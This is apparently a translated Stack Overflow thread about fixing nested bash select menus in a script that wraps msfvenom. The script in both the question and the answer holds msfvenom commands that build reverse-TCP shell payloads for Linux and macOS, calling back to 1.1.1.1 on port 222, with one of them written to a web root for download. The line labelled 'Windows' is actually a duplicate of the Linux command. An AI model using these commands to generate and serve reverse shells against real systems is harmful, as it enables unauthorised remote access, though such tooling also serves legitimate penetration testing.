我有一个多项选择菜单。菜单中的菜单,然后我想让脚本做“任何事”,我告诉它后选择第二个选项。在本例中,我使用msfvenom来生成不同类型的shell。我的最后一个问题是,当我选择数字1时,它会跳转到右子菜单,但是我选择了数字2,而不是跳到"Web Shells“,它仍然会跳到第一个菜单。PS:如果我不使用基于here的子菜单,这很好用
#!/bin/bash
clear ;
echo 'Choose a Shell type'
select shell in Binaries Web Scripting Shellcode
do
case $shell in
Binaries|Web|Scripting|Shellcode)
break
;;
*)
echo "Invalid Shell"
;;
esac
done
clear ;
# Binaries Shells
echo 'Now pick a platform based on the number you chose'
select binaries in Linux Windows MacOS
do
case $binaries in
Linux|Windows|MacOS)
# Linux
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86
# Windows
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86
# MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho
break
;;
*)
echo "Invalid option"
;;
esac
done
# Web Shells
select web in PHP ASP JSP WAR
do
case $web in
PHP|ASP|JSP|WAR)
break
;;
*)
echo "Invalid option"
;;
esac
done如果我让这个东西起作用,我以后会继续添加更多
发布于 2017-09-01 03:31:57
添加了条件语句以求解[
当我选择数字1时,它会跳转到右子菜单,但是我选择了数字2,而不是跳到"Web Shells“,它仍然会跳到第一个菜单
]
#!/bin/bash
clear ;
echo 'Choose a Shell type'
opt=""
select shell in Binaries Web Scripting Shellcode
do
opt="$shell"
case $shell in
Binaries|Web|Scripting|Shellcode)
break
;;
*)
echo "Invalid Shell"
;;
esac
echo $shell
done
clear;
if [ "$opt" = "Binaries" ]; then
# Binaries Shells
echo 'Now pick a platform based on the number you chose'
select binaries in Linux Windows MacOS
do
case $binaries in
Linux|Windows|MacOS)
# Linux
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/lrs_x86
# Windows
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -b \x00 -f elf -o /var/www/html/win_rs_x86
# MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=222 -f macho > shell.macho
break
;;
*)
echo "Invalid option"
;;
esac
done
clear;
fi
if [ "$opt" = "Web" ] || [ "$opt" = "Binaries" ]; then
# Web Shells
select web in PHP ASP JSP WAR
do
case $web in
PHP|ASP|JSP|WAR)
break
;;
*)
echo "Invalid option"
;;
esac
done
clear;
fi假设你有很多选项A,B,C,D,E,F,并且在选择一个选项后,比如说C,你想从那里导航到D,在D之后导航到E,在E之后导航到E,而不是多次使用逻辑运算符,将所选选项中的标志设置为
#!/bin/bash
clear ;
echo 'Choose a Shell type'
opt=""
flag=false例如,
if [ "$opt" = "Web" ] || [ "$flag" = true ]; then
flag=true
//your code herehttps://stackoverflow.com/questions/45987990
复制相似问题